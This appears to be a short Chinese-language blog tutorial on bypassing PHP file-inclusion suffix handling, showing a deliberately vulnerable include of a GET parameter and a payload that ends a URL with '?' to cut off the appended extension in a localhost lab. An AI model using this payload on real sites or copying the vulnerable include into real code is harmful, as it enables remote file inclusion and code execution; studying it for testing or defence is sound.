文件包含漏洞绕过

相信很多人都知道%00截断以及利用(./)来截断，但是在php5.3版本之后，这两种手段都失效了。但是，在这里我想介绍一种伪截断的方式来实现文件阶段。

后台源代码：

<?php
include $_GET['a'].php;
?>

建立一个1.txt的文件：

<?php
phpinfo();
?>

我使用的是php7.0的版本，因此%00阶段已经失效。如下图：

Paste_Image.png Paste_Image.png

于是在此处使用(?)来实现伪截断，原理是：

test.php?a=http://localhost/1.txt?
Webserver把(?)后面的内容当作请求的参数，而1.txt不在Webserver里面解析。

因此，指定一下：

Paste_Image.png
发现 http://127.0.0.1/test.php?a=1.txt?不能成功。然而，换一种方式http://127.0.0.1/test.php?a=http://localhost/1.txt? Paste_Image.png

发现成功执行了截断。